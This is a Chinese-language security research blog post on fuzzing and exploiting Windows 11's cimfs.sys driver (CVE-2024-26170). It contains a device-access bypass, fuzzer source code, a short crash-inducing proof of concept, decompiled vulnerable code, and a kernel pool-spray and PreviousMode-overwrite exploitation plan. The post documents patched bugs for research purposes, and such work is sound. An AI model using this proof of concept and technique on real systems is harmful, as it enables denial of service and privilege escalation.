介绍
如今,许多漏洞写作都侧重于软件漏洞的利用过程。“漏洞利用开发者”一词至今仍与“漏洞研究”同义使用,这大概源于21世纪初,当时漏洞很容易发现,而漏洞利用的艺术也才刚刚开始。然而,如今随着SDL和持续模糊测试的兴起,在关键系统中发现未知漏洞变得越来越重要,甚至可能比漏洞利用过程更为重要。为了鼓励更多人撰写关于漏洞发现的文章,我们发布了这篇博文,探讨如何在Windows 11中查找并利用内核0day漏洞进行本地提权。
本文提到的所有漏洞均已在2024 年 3 月的更新中修复CVE-2024-26170。经过一年的修补,我们终于可以发布这篇博文了。这些漏洞的修复方式很简单,就是限制非特权用户访问驱动程序,因此无法通过补丁差异分析识别。这也意味着这些漏洞仍然是管理员到内核的 0day 漏洞,但 Windows 上存在许多此类攻击途径,微软并不认为它们违反了安全边界。
开始
2024 年初,我刚加入 STAR 实验室。从一开始,我们的老板就让我们专注于准备 Pwn2Own 2024。在他指出的众多潜在目标中,有一个目标脱颖而出:cimfs.sys复合映像文件系统驱动程序。这个特定的驱动程序是 Windows 11 默认安装的一部分,似乎提供了一个有趣的机会。当时它没有任何已知的漏洞,这对我们来说是一个令人兴奋但又充满风险的前景。一方面,它是一张白纸。一个潜在的新攻击面。另一方面,缺乏前期研究或 N-day 漏洞利用程序意味着我们正在进入未知领域。我们必须从头开始建立我们的理解,没有任何路线图指引我们。于是,挑战开始了。
然而,就在我们以为大有可为的时候,事情却突然发生了逆转。这些漏洞甚至在 Pwn2Own 2024 大赛开始前就被修补了。真是令人沮丧!我们费尽心思才找到一个新目标的漏洞,就在我们全力以赴的时候,漏洞竟然被封了。
有关复合图像文件格式(CIM)的一些信息:
A CIM isafile-backed image format similar in concept toa WIM.The CIM format consists of a small collection of flat files that include one or more data and metadata region files, one or more object ID filesand one or more filesystem description files. As a result of their "flatness" CIMs are faster to construct, extract anddelete than the equivalent raw directories they contain.CIMs are composite in that a given image can contain multiple filesystem volumes which can be mounted individually while sharing the same data region backing files.Once constructed, a CIM can be mounted with the support of the CimFS driver. The mount constructs aread-only disk andfilesystem volume device for the image. The contents of a mounted CIM can be accessed read-only using the standard Win32 or NT API filesystem interface. The CimFS filesystem supports many of the constructs of NTFS such as security descriptors, alternate data streams, hard links, and re-parse points.
TLDR:另一个可以通过 Win32 API 挂载和读取的文件系统。文件请求将由驱动程序处理cimfs.sys,以模拟只读文件系统。
该驱动程序公开了一个控制设备对象Devicecimfscontrol,以便于创建新的 CimFS 卷。用户模式客户端可以通过发出 IOCTL 与控制设备交互。例如,IOCTL 代码 0x220004 用于挂载新的 CimFS 卷。
switch ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode ) {case0x220004u: // mount volume ...for ( i = CimFs::g_LoadReference + 1; i > 1; i = v85 + 1 ) { v86 = v85; v85 = _InterlockedCompareExchange64(&CimFs::g_LoadReference, i, v85);if ( v86 == v85 ) { mountImageFlags = userBuffer->MountImageFlags; regionSetBuf = (_UNICODE_STRING)regionSetBufRef; bufferContainingPath = v114; result = CimFs::MountVolume( &bufferContainingPath, (struct cstmREGION_SET *)®ionSetBuf, regionOffset, userBuffer, mountImageFlags);if ( (int)result >= 0 )return result; v88 = _InterlockedDecrement64(&CimFs::g_LoadReference);if ( v88 > 0 )return result;if ( v88 ) __fastfail(0xEu);LABEL_197: __fastfail(0xEu); } } ... }
身份验证绕过
此设备对象上设置的安全描述符限制只有管理员才能访问。
Sddl: D:P(A;;GA;;;SY)(A;;GA;;;BA)Owner :Group :DiscretionaryAcl : {NT AUTHORITYSYSTEM: AccessAllowed (GenericAll), BUILTINAdministrators: AccessAllowed (GenericAll)}SystemAcl : {}RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
这意味着该驱动程序可能不打算暴露给没有特权的客户端。
但是,该FILE_DEVICE_SECURE_OPEN标志不会在设备创建期间设置,从而允许非特权用户通过简单地将控制设备视为文件系统驱动器来打开句柄并向控制设备发出 IOCTL。
hDevice = CreateFileW( L"\??\CimfsControl\something",0,0,NULL, OPEN_EXISTING,0,NULL);
\??\CimfsControl逻辑是,由于对象上设置的 DACL,我们无法直接打开根设备,但这不会传播到根设备下的任何子设备,例如\??\CimfsControl\abcdef。所有请求无论如何都会由控制设备处理,这使我们能够绕过身份验证并打开攻击面。
坐骑操作
在确定攻击计划之前,我们需要cimfs.sys先从挂载操作开始探索其工作原理。幸运的是,cimfs 自带了一个用户模式的 DLL cimfs.dll,并且其功能已记录在案。该 DLL 无法识别身份验证绕过,因此我们必须修补该 DLL 或手动向驱动程序发出调用。
通过逆向伴随的 DLL,我们能够恢复手动调用 mount 的参数:
typedefstruct{ GUID RegionGUID; WORD RegionCount; WORD Padding; DWORD Padding1;} REGION_FIELD;typedefstruct{ GUID VolumeGUID; ULONG64 RegionOffset; DWORD MountImageFlags; WORD RegionEntryCount; WORD ImageContainingPathLengthBytes; REGION_FIELD Regions[1]; WCHAR ImageContainingPath[];} IOCTL_MOUNT_BUFFER_DATA;
在挂载之前,我们需要创建一些文件来存储底层 CIM 文件系统。这些文件如下所示:
它们由导出函数中的伴随 DLL 创建CimCreateImage()。
这些文件具有复杂的二进制格式,且完全没有文档记录,完全恢复格式将非常困难。具体来说,区域文件大小高达 135168 字节,存储了各种数据段、流段、重解析数据、硬链接数据、安全描述符、文件哈希……它本质上是一个完整的文件系统!
在挂载期间,cimfs.sys
-
使用Cim::ImageReader::*函数从区域文件中提取元数据
-
在以下位置创建一个新的磁盘设备Devicecimfs
-
创建一个新的卷设备
-
将元数据存储在每个设备的 DeviceExtension 中
VolumeDeviceObject_1->Extension.ChildOnly = MountImageFlags & 1;VolumeDeviceObject_1->Extension.DirectAccess = (MountImageFlags & 2) != 0;VolumeDeviceObject_1->DeviceObject.StackSize = ModifiedStackSize + 1;VolumeDeviceObject_1->DeviceObject.Flags |= ModifiedFlags;VolumeDeviceObject_1->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZINGVolumeDeviceObjectRef1 = VolumeDeviceObject_1;VolumeDeviceObject_1 = 0LL;DiskDeviceObject->Extension.VolumeDevice = VolumeDeviceObjectRef1;DiskDeviceObject->DeviceObject.Flags &= 0xFFFFFF7F;// &~ DO_DEVICE_INITIALIZINGDiskDeviceObject = 0LL;StackSize = DeviceObject->StackSize;if ( (char)(ModifiedStackSize + 1) >= StackSize ) StackSize = ModifiedStackSize + 1;DeviceObject->StackSize = StackSize;v85 = CimFs::NotifyMountManager(&outputDeviceNameWchar, 1);
安装后,卷设备将在\?Volume{VOLUME_GUID}全局目录下可用,我们可以在其中创建句柄并使用普通的 Win32 API 进行交互。
例如:
CimManualMountImage(ImageContainingPath, ImageName, MountImageFlags, VolumeId);StringFromGUID2(VolumeId, &volumeIdString, GUID_BUFFER_SIZE_WCHAR);wsprintfW(&mountedVolumeRoot, L"\\?\Volume%s\", volumeIdString);// Attempt to create a handle to the file1(hardlink ADS)wsprintfW(commonPathBuffer, L"%s%s", mountedVolumeRoot, Name1);hFile = FsOpenReadonlyFile(commonPathBuffer);
现在我们可以像使用普通文件一样使用该句柄了hFile。所有文件操作都会沿着文件系统堆栈向下转发,直到到达挂载过程中创建的卷设备。cimfs 通过检查设备扩展名来检测它是一个卷设备,然后通过解析区域文件来完成文件系统请求。
攻击计划
区域文件是一个存储在单个文件中的复杂文件系统。实际上,它支持许多 NTFS 操作,例如备用数据流 (ADS)、硬链接、安全描述符、属性、重解析数据、扩展属性 (EA)……
cimfs 驱动程序必须解析此区域文件才能处理任何这些请求。从历史经验来看,解析过程 非常 困难。在我们手动计算文件格式的同时,最好先对驱动程序进行模糊测试,而不是陷入逆向工程而浪费时间。
我快速编写了一个自定义模糊测试器,用于向驱动程序抛出测试用例。我们的想法是,我们已经审计了挂载映像的代码,因此我们想专注于挂载之后的操作。我们将使用挂载操作作为验证器。任何导致挂载失败的变异都将被丢弃(虽然比较粗糙,但对于简单的模糊测试来说已经足够了)。这样,我们就可以控制并直接进行变异,而无需任何额外的检测。成功挂载后,我们将通过调用 Win32 API 来练习解析代码。
主要逻辑如下:
// Create initial corpus filesFuzzerCreateInitialCorpus(ATTRIBUTES_COPY_FILE, FILESYSTEM_FILE_NAME, FILESYSTEM_HARDLINK, FILESYSTEM_FILE_ADS, IMAGE_CONTAINING_PATH, IMAGE_NAME);// Generate volume GUID for mountUuidCreate(&volumeId);// Read initial corpus into memory// Start by reading on disk headers in cim file to obtain region GUIDhCimfile = FsOpenReadonlyFile(initialCimFile);if (hCimfile == INVALID_HANDLE_VALUE) { FATAL("[-] main fail: FsOpenReadonlyFile(0x%08X)n", GetLastError());}if (!CimGetRegionGUID(hCimfile, ®ionId)) { FATAL("[-] main fail: CimGetRegionGUID(0x%08X)n", GetLastError());}CloseHandle(hCimfile);// Now load corpusStringFromGUID2(®ionId, ®ionIdString, GUID_BUFFER_SIZE_WCHAR);// Remove braces {}regionIdString[37] = 0;wsprintfW(initialCorpusPath, IMAGE_CONTAINING_PATH L"region_%s_0", ®ionIdString[1]);FuzzerLoadCorpusInMem(initialCorpusPath);// Dry runstatus = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_CHILD_ONLY, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_HARDLINK, &hHardlinkAds, &hFile);if (!status) { FATAL("[-] Dry run fail: FuzzerTryMountAndCreateHandles(0x%08X)n", GetLastError());}FuzzerQueryHandle(hFile);FuzzerQueryHandle(hHardlinkAds);puts("[+] Dry run success");// Dry run cleanupCloseHandle(hFile);CloseHandle(hHardlinkAds);CimDismountImage(&volumeId);for (LARGE_INTEGER effectiveOffset = { 0 } ;;) { MutatorMutate(&from); nullOrMutate = MutatorGetRandomOffset(1, 10);// Count from end// We don't use SEEK_END because we want to compute effectiveOffset right now to check whether it's mutableif (from & 1) { curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_BACK); effectiveOffset.QuadPart = maxOffset - curOffset; }else { curOffset = MutatorGetRandomOffset(0, EFFECTIVE_FUZZ_FRONT); effectiveOffset.QuadPart = FUZZ_FRONT_START + curOffset; }// Checks on current offsetif (BitmapIsUntouchable(effectiveOffset.QuadPart))continue;// Open file and set to proper offset to mutate hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);if (GetLastError() == 0x20) {// Sometimes dismount operation takes a while Sleep(5000); hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); }if (hRegionFile == INVALID_HANDLE_VALUE) { FATAL("[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)n", GetLastError()); } status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN);if (!status) { FATAL("[-] Write sample fail: SetFilePointerEx(0x%08X)n", GetLastError()); }// Write mutated byteif (nullOrMutate > 8) mutated = 0; // 20% chance of nullingelse MutatorMutate(&mutated); status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL);if (!status) { FATAL("[-] Write sample fail: WriteFile(0x%08X)n", GetLastError()); } CloseHandle(hRegionFile);printf("[*] Mutated BYTE <%llu> from <0x%hhx> to <0x%hhx>n", effectiveOffset.QuadPart, initialCorpusInMem[effectiveOffset.QuadPart], mutated);// Verify mutation doesn't affect mount and create status = FuzzerTryMountAndCreateHandles(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_IMAGE_NONE, &volumeId, FILESYSTEM_HARDLINK_ADS, FILESYSTEM_FILE_NAME, &hHardlinkAds, &hFile);if (!status) {// Mutation caused either mount or create to failprintf("[*] Untouchable BYTE: <%llu>n", effectiveOffset.QuadPart);// Make sure to not mutate in future BitmapSetUntouchable(effectiveOffset.QuadPart);// Revert mutation hRegionFile = FsOpenWriteonlyFile(initialCorpusPath);if (GetLastError() == 0x20) {// Sometimes dismount operation takes a while Sleep(5000); hRegionFile = FsOpenWriteonlyFile(initialCorpusPath); }if (hRegionFile == INVALID_HANDLE_VALUE) { FATAL("[-] Write sample fail: FsOpenWriteonlyFile(0x%08X)n", GetLastError()); } mutated = initialCorpusInMem[effectiveOffset.QuadPart]; status = SetFilePointerEx(hRegionFile, effectiveOffset, NULL, FILE_BEGIN);if (!status) { FATAL("[-] Write sample fail: SetFilePointerEx(0x%08X)n", GetLastError()); } status = WriteFile(hRegionFile, &mutated, sizeof(BYTE), &written, NULL);if (!status) { FATAL("[-] Write sample fail: WriteFile(0x%08X)n", GetLastError()); } CloseHandle(hRegionFile);continue; }// Perform filesystem query on the two handles to fuzz FuzzerQueryHandle(hFile); FuzzerQueryHandle(hHardlinkAds);// Finally, cleanup CloseHandle(hFile); CloseHandle(hHardlinkAds); CimDismountImage(&volumeId);}out: CimDismountImage(&volumeId);
最重要的部分是初始语料库的创建。我们希望它的熵非常高,这样我们的突变触发嵌套复杂度的可能性就会更大。当你启用所有可能的功能时,你会惊讶地发现有多少程序崩溃了。
// Create main CIM imagehs = CimCreateImage(ImageContainingPath, NULL, ImageName, &hImage);if (hs != S_OK) { FATAL("[-] Create corpus fail: CimCreateImage(0x%08X)n", hs);}wprintf(L"[+] Created CIM file <%s> at %sn", ImageName, ImageContainingPath);// Create a filesystem file with filled attributes for maximum entropy// First open a dummy file to Retrieve attributes// Lazy to code so use explorer to set bunch of attributeshAttributesFile = FsOpenReadonlyFile(AttributesFile);if (hAttributesFile == INVALID_HANDLE_VALUE) { FATAL("[-] Create corpus fail: FsOpenReadonlyFile(0x%08X)n", GetLastError());}// Set basic infostatus = FsGetBasicFileInfo(hAttributesFile, &attributesInfo);if (!status) { FATAL("[-] Create corpus fail: FsGetBasicFileInfo(0x%08X)n", GetLastError());}// Add some random attributesmetadata.Attributes = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_EA | FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_RECALL_ON_OPEN;metadata.ChangeTime = attributesInfo.ChangeTime;metadata.CreationTime = attributesInfo.CreationTime;metadata.LastAccessTime = attributesInfo.LastAccessTime;metadata.LastWriteTime = attributesInfo.LastWriteTime;// Set security descriptorerrCode = FsGetAllSecurityInfo(hAttributesFile, &securityDescriptor);if (errCode != ERROR_SUCCESS) { FATAL("[-] Create corpus fail: FsGetAllSecurityInfo(0x%08X)n", errCode);}metadata.SecurityDescriptorBuffer = securityDescriptor;metadata.SecurityDescriptorSize = GetSecurityDescriptorLength(securityDescriptor);// Set random reparse inforeparseBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x80);reparseBuf->ReparseTag = 0xcafebabe;reparseBuf->ReparseDataLength = 0x0;reparseBuf->Reserved = 0;metadata.ReparseDataBuffer = reparseBuf;metadata.ReparseDataSize = 0x0;// Set random EA infoeaInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xa0);eaInfo->Flags = FILE_NEED_EA;RtlCopyMemory(&eaInfo->EaName, "RandomName1", 11);eaInfo->EaNameLength = 11;RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, "RandomValue1", 12);eaInfo->EaValueLength = 12;eaInfo->NextEntryOffset = 0x00;eaInfo = (ULONG_PTR)eaInfo + 0x40;RtlCopyMemory(&eaInfo->EaName, "RandomName2", 11);eaInfo->EaNameLength = 11;RtlCopyMemory((ULONG_PTR)&eaInfo->EaName + 11 + 1, "RandomValue2", 12);eaInfo->EaValueLength = 12;eaInfo->NextEntryOffset = 0x0;eaInfo = (ULONG_PTR)eaInfo - 0x40;metadata.EaBuffer = eaInfo;metadata.EaBufferSize = 0xa0;// Create the filesystem filemetadata.FileSize = FILESYSTEM_FILE_SIZE;hs = CimCreateFile(hImage, FilesystemFilename, &metadata, &hStream);if (hs != S_OK) { FATAL("[-] Create corpus fail: CimCreateFile(0x%08X)n", hs);}// Write stream data in filememset(&streamContent, 'B', sizeof(streamContent));hs = CimWriteStream(hStream, &streamContent, sizeof(streamContent));if (hs != S_OK) { FATAL("[-] Create corpus fail: CimWriteStream(0x%08X)n", hs);}CimCloseStream(hStream);wprintf(L"[+] Created filesystem file <%s>n", FilesystemFilename);// Create ADShs = CimCreateAlternateStream(hImage, ADSName, FILESYSTEM_ADS_SIZE, &hStream);if (hs != S_OK) { FATAL("[-] Create corpus fail: CimCreateAlternateStream(0x%08X)n", hs);}// Write data to ADSmemset(&adsContent, 'C', sizeof(adsContent));hs = CimWriteStream(hStream, &adsContent, sizeof(adsContent));if (hs != S_OK) { FATAL("[-] Create corpus fail: CimWriteStream(0x%08X)n", hs);}CimCloseStream(hStream);wprintf(L"[+] Created alternate stream <%s>n", ADSName);// Create Hardlinkhs = CimCreateHardLink(hImage, FilesystemHardlink, FilesystemFilename);if (hs != S_OK) { FATAL("[-] Create corpus fail: CimCreateHardLink(0x%08X)n", hs);}wprintf(L"[+] Created hardlink <%s>n", FilesystemHardlink);hs = CimCommitImage(hImage);if (hs != S_OK) { FATAL("[-] Create corpus fail: CimCommitImage(0x%08X)n", hs);}puts("[+] Committed CIM image");CimCloseImage(hImage);
ReadFile(hFile, &commonBuf, 0x5, &read, NULL);// Query all possible informationfor (int i = 4; i < 77; i++) NtQueryInformationFile(hFile, &isb, &commonBuf, sizeof(commonBuf), i);NtQueryEaFile(hFile, &isb, &commonBuf, sizeof(commonBuf), FALSE, NULL, 0, NULL, TRUE);FsGetAllSecurityInfo(hFile, NULL);DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, NULL, 0, &commonBuf, sizeof(commonBuf), &read, NULL);
为了制造更多的混乱,我们可以投入一些随机线程来调用这些操作来模糊竞争条件。
模糊测试结果
简单的模糊测试就能带来良好的结果。
在几个小时的模糊测试和调整模糊测试中,我们遇到了很多崩溃,后来我们将其归类为 7 个独特的错误,其影响范围从拒绝服务到信息泄露到代码执行。
只是为了好玩,这里有一个可以放入推文中的 BSOD poc:
HANDLE hDevice = NULL, hToken = NULL;char x[0x1c] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa";DWORD ret = 0;hDevice = CreateFileW(L"\??\CimfsControl\something",0,0,NULL, OPEN_EXISTING,0,NULL);DeviceIoControl(hDevice, 0x220014, &x, sizeof(x), NULL, 0, &ret, NULL);
我们最终利用的代码执行漏洞是OOBR1越界读取漏洞。当然还有很多漏洞,但由于浅层崩溃,模糊测试器无法继续进行。
错误分析
崩溃上下文:
# Child-SP RetAddr Call Site00 fffffb84`f8b94e08 fffff805`12581882 nt!DbgBreakPointWithStatus01 fffffb84`f8b94e10 fffff805`12580f43 nt!KiBugCheckDebugBreak+0x1202 fffffb84`f8b94e70 fffff805`12431a87 nt!KeBugCheck2+0xba303 fffffb84`f8b955e0 fffff805`12446fa9 nt!KeBugCheckEx+0x10704 fffffb84`f8b95620 fffff805`124460fc nt!KiBugCheckDispatch+0x6905 fffffb84`f8b95760 fffff805`1243cbef nt!KiSystemServiceHandler+0x7c06 fffffb84`f8b957a0 fffff805`122ca3f3 nt!RtlpExecuteHandlerForException+0xf07 fffffb84`f8b957d0 fffff805`1232494e nt!RtlDispatchException+0x2f308 fffffb84`f8b95f40 fffff805`124470fc nt!KiDispatchException+0x1ae09 fffffb84`f8b96620 fffff805`12442183 nt!KiExceptionDispatch+0x13c0a fffffb84`f8b96800 fffff805`123075e0 nt!KiGeneralProtectionFault+0x3430b fffffb84`f8b96998 fffff803`9585dc86 nt!IoGetRelatedDeviceObject0c fffffb84`f8b969a0 fffff803`9585d8f8 CimFS!CimFs::NonCachedRead+0x17a0d fffffb84`f8b96b20 fffff803`95852936 CimFS!CimFs::DispatchVolumeRead+0x11c0e fffffb84`f8b96b90 fffff805`12307015 CimFS!CimFs::DispatchWrapper<0,&CimFs::DispatchDiskRead,&CimFs::DispatchVolumeRead,&CimFs::DispatchCacheRead>+0x660f fffffb84`f8b96bc0 fffff805`1372a1d6 nt!IofCallDriver+0x5510 fffffb84`f8b96c00 fffff805`13727e23 FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x15611 fffffb84`f8b96c70 fffff805`12307015 FLTMGR!FltpDispatch+0xa312 fffffb84`f8b96cd0 fffff805`122cce27 nt!IofCallDriver+0x5513 fffffb84`f8b96d10 fffff805`122d2617 nt!IoPageReadEx+0x2d714 fffffb84`f8b96d80 fffff805`122d1be7 nt!MiIssueHardFaultIo+0x10715 fffffb84`f8b96dd0 fffff805`1227de21 nt!MiIssueHardFault+0x20716 fffffb84`f8b96e80 fffff805`12244412 nt!MmAccessFault+0x33117 fffffb84`f8b96fa0 fffff805`1278522d nt!MiPrefetchVirtualMemory+0x25a18 fffffb84`f8b970c0 fffff805`124466e5 nt!NtSetInformationVirtualMemory+0x5cd19 fffffb84`f8b97430 00007fff`ee412904 nt!KiSystemServiceCopyEnd+0x251a 00000027`c6b7d8b8 00007fff`eb97830a ntdll!NtSetInformationVirtualMemory+0x141b 00000027`c6b7d8c0 00007fff`cba89e1f KERNELBASE!PrefetchVirtualMemory+0x2a1c 00000027`c6b7d900 00007fff`cba89816 mprtp!RealtimeProtection::CFileSystemScanRequest::PrefetchFileContent+0x6f1d 00000027`c6b7d980 00007fff`cba88eaa mprtp!RealtimeProtection::CFileSystemScanRequest::MapInitialView+0x2c61e 00000027`c6b7de60 00007fff`cba88b53 mprtp!RealtimeProtection::CFileSystemScanRequest::ReadFileData+0x13a1f 00000027`c6b7ded0 00007fff`ca5a9d5a mprtp!RealtimeProtection::EngineVfzReadFileCallback+0x2432000000027`c6b7df30 00007fff`ca5733b7 mpengine!StreamBufferWrapper::Read+0x522100000027`c6b7df70 00007fff`ca573216 mpengine!nUFSP_vfz::Read+0x872200000027`c6b7dfb0 00007fff`cae84f23 mpengine!UfsPluginWrapper::Read+0x762300000027`c6b7e010 00007fff`ca4cd997 mpengine!UfsIoCache::ReadBlock+0x2a32400000027`c6b7e090 00007fff`ca4cd788 mpengine!UfsIoCache::Read+0x972500000027`c6b7e110 00007fff`ca4cc667 mpengine!UfsFile::Read+0xd82600000027`c6b7e170 00007fff`ca4fe43a mpengine!LoadHeader+0x8f2700000027`c6b7e1c0 00007fff`ca4fdfe2 mpengine!UfsNode::Open+0x2fe2800000027`c6b7e2b0 00007fff`ca4fd5f7 mpengine!UfsClientRequest::AnalyzeLeaf+0xd62900000027`c6b7e360 00007fff`ca57f66c mpengine!UfsClientRequest::AnalyzePath+0x24f2a 00000027`c6b7e420 00007fff`ca4fb04c mpengine!UfsCmdBase::ExecuteCmd<<lambda_a0de59a4593b5b873ad9a506cf55f982> >+0x1542b 00000027`c6b7e4c0 00007fff`ca75516f mpengine!ScanStreamBuffer+0x46c2c 00000027`c6b7e770 00007fff`ca754d15 mpengine!ksignal+0x37f2d 00000027`c6b7eab0 00007fff`caa55818 mpengine!DispatchSignalHelper+0x712e 00000027`c6b7eb10 00007fff`de3605e2 mpengine!DispatchSignalOnHandle+0x1a82f 00000027`c6b7eed0 00007fff`cba941a9 mpsvc!rsignal_wrapper+0x1d23000000027`c6b7ef60 00007fff`cba92dd6 mprtp!RealtimeProtection::CCMEngine::ScanFile+0x1893100000027`c6b7f170 00007fff`cba927f4 mprtp!RealtimeProtection::CFileSystemAgent::ScanFile+0x4463200000027`c6b7f540 00007fff`cbaa02c6 mprtp!RealtimeProtection::CFileSystemAgent::HandleFileScanRequest+0xb43300000027`c6b7f5d0 00007fff`cbaab8eb mprtp!RealtimeProtection::CFileSystemWatcher::HandleRequest+0x8563400000027`c6b7fca0 00007fff`cbb52fe4 mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorMainFunction+0x2ab3500000027`c6b7fd50 00007fff`cbaf3ae0 mprtp!RealtimeProtection::CFilterCommunicatorBase::CommunicatorThread+0x243600000027`c6b7fd90 00007fff`ed8a257d mprtp!thread_start<unsigned int (__cdecl*)(void *),1>+0x503700000027`c6b7fdc0 00007fff`ee3caa58 KERNEL32!BaseThreadInitThunk+0x1d3800000027`c6b7fdf0 00000000`00000000 ntdll!RtlUserThreadStart+0x28
此漏洞是通过ReadFile()调用隐藏存档文件的硬链接的备用数据流来触发的(真是高熵的威力!)。有趣的是,当 Microsoft Defender 尝试扫描我们打开的文件句柄时,也会触发此漏洞。
如上所述,cimfs使用Cim::FileSystem::*函数来解析区域文件。
一个编写良好的函数的示例是Cim::FileSystem::GetMappingSegment()。
__int64 __fastcall Cim::FileSystem::GetMappingSegment( Cim::FileSystem *this,const struct Cim::FileSystem::OpenFile *a2, struct Cim::FileSystem::RegionSegment *a3){ ...if ( !Cim::ImageReader::GetStruct<Cim::Format::Filesystem>( (struct cstmREGION_COUNT_VIEW_BUFFER *)((char *)this + 8), (__int64 *)&v12, v11.m128i_i64[0]) )return3221274625i64;if ( (*(_BYTE *)(v12 + 22) & 1) != 0 ) { ...if ( Cim::ImageReader::GetOffsetTruncate(v5, v9, 0i64, (_QWORD *)a3 + 1, &v12) && v8 <= v12 ) { ...return result; }return3221274625i64; } }return3221225659i64;}
调用该Cim::ImageReader::GetStruct()函数从区域文件获取元数据(例如偏移量)后,Cim::ImageReader::GetOffsetTruncate()应调用该函数验证检索到的偏移量是否位于映射区域文件的边界内。任何不需要验证的情况都应视为错误。
但Cim::FileSystem::GetDataSegment()功能并不符合这一点。
__int64 __fastcall Cim::FileSystem::GetDataSegment( Cim::FileSystem *this,const struct Cim::FileSystem::OpenFile *a2, unsigned __int64 a3, unsigned __int64 a4, __int64 a5){ ...if ( Cim::FileSystem::GetStreamSegment( this, (const struct Cim::FileSystem::OpenFile *)((char *)a2 + 0x68), *((_BYTE *)a2 + 0x8C), *((_WORD *)a2 + 0x2E), a3, a4, (struct Cim::Format::RegionOffset *)&v14, v13) ) { v7 = v13[0]; v11 = HIWORD(v14); ... v10 = (*((_BYTE *)a2 + 0x77) & 1) == 0; ...if ( !v10 ) { ... *(_WORD *)v9 = v11; result = 0i64; *(_QWORD *)(v9 + 16) = v7;return result; } v13[0] = 0i64;if ( Cim::ImageReader::GetOffsetTruncate( (struct cstmREGION_COUNT_VIEW_BUFFER *)((char *)this + 8), v14,0i64, v12, v13) && v7 <= v13[0] ) { ... } }return0xC000C001i64;}
Cim::FileSystem::GetStreamSegment()用于从区域文件中检索偏移量并将v14其复制到变量 中,然后将其复制到变量 中v11。由于该偏移量源自用户模式,因此该函数在返回之前会验证该偏移量。然而,在 的情况下(*((_BYTE *)a2 + 0x77) & 1) != 0,该函数会立即返回成功,而不会对偏移量进行任何检查。
不幸的是,这个字节*(a2 + 0x77)也来自区域文件。通过这项检查,我们可以让函数返回一个完全由用户控制的未经验证的偏移量。
5: kd> pCimFS!Cim::FileSystem::GetDataSegment+0x8d:fffff805`ce431559 498901 mov qword ptr [r9],rax7: kd> r raxrax=0000434343434343
随着执行的继续,偏移量将用于定位内核内存中指向文件对象的指针,然后将其传递给IoGetRelatedDeviceObject()。由于偏移量未经验证,读取操作超出了驱动程序分配的池块的边界,并且“指针”可能来自完全不相关的块。
v15 = (unsigned __int16)userControl;v16 = 0xB8i64 * (unsigned __int16)userControl;RegionView = (__int64)deviceObjectRef->Extension.RegionView;v35 = *(_BYTE *)(v16 + RegionView + 136);v46 = *(PFILE_OBJECT *)(v16 + RegionView + 8);RelatedDeviceObject = IoGetRelatedDeviceObject(v46);
IofCallDriver()该设备对象稍后将在完全由用户控制的条件下传递。
IoBuildPartialMdl(irp->MdlAddress, AssociatedIrp->MdlAddress, VirtualAddress, v20);AssociatedIrp->Flags = AssociatedIrp->Flags & 0xFFFFFFF7 | irp->Flags & 0x101;v31 = AssociatedIrp->Tail.Overlay.CurrentStackLocation;v31[-1].CompletionRoutine = (PIO_COMPLETION_ROUTINE)CimFs::AssociatedIrpCompletionRoutine;v31[-1].Context = irp;v31[-1].Control = -32;v32 = AssociatedIrp->Tail.Overlay.CurrentStackLocation;v32[-1].FileObject = v46;v32[-1].MajorFunction = 3;v32[-1].Parameters.Read.Length = v20;v32[-1].Parameters.Read.ByteOffset.QuadPart = *((_QWORD *)&userControl + 1);IofCallDriver(RelatedDeviceObject, AssociatedIrp);
通过向内核池喷射自定义对象,攻击者可以在内核内存中构造一个伪造的设备对象结构,该结构将由 返回IoGetRelatedDeviceObject()并传递给IofCallDriver()。后者函数会取消引用伪造的设备对象以查找伪造的驱动程序对象,然后调用驱动程序对象内部由攻击者控制的函数指针。借助此函数,攻击者可以获得任意调用原语,从而轻松绕过 CFG 并提升权限。
开发
如上所述,可以控制IoGetRelatedDeviceObject()对分页池中相邻分配内存中的指针进行操作。该函数需要一个参数PFILE_OBJECT,因此我们应该在内核内存中伪造一个文件对象,然后将其地址喷射到分页池中。当IoGetRelatedDeviceObject()对该地址进行操作时,它将操作我们伪造的文件对象,该文件对象将返回一个伪造的设备对象以供IofCallDriver()调用。IofCallDriver()然后取消引用该设备对象并调用其DriverObject成员函数,第一个参数是设备对象本身。
(DeviceObject->DriverObject.MajorFunction[3])(DeviceObject, Irp);
v2 = *(_QWORD *)(a1 + 0x38);if ( v2 ){ result = ObfDereferenceObject((PVOID)(v2 - 0x18)); *(_QWORD *)(a1 + 0x38) = 0i64;}return result;
这*(_QWORD *)(a1 + 0x38) = 0i64允许我们将一个空的 QWORD 写入任意地址。我们利用这个空值清空线程PreviousMode的字段,从而获得完全的任意读写权限。
我们之所以不在用户模式下伪造此对象,是因为此漏洞通常由防病毒驱动程序(例如 Windows Defender)触发。这些软件通常会注册创建后处理程序,以便在允许客户端读取之前扫描文件内容。由于它们肯定在我们之前读取了文件,因此该漏洞将在其进程的上下文中触发,而我们对此无法控制。
我们使用众所周知的_WNF_STATE_DATA对象来存放伪造的文件对象,并喷射文件对象的地址。这是因为它NtUpdateWnfStateData()允许我们在块分配后修改其内容,这在本次漏洞利用中至关重要,因为我们只能在块分配后查找其地址。
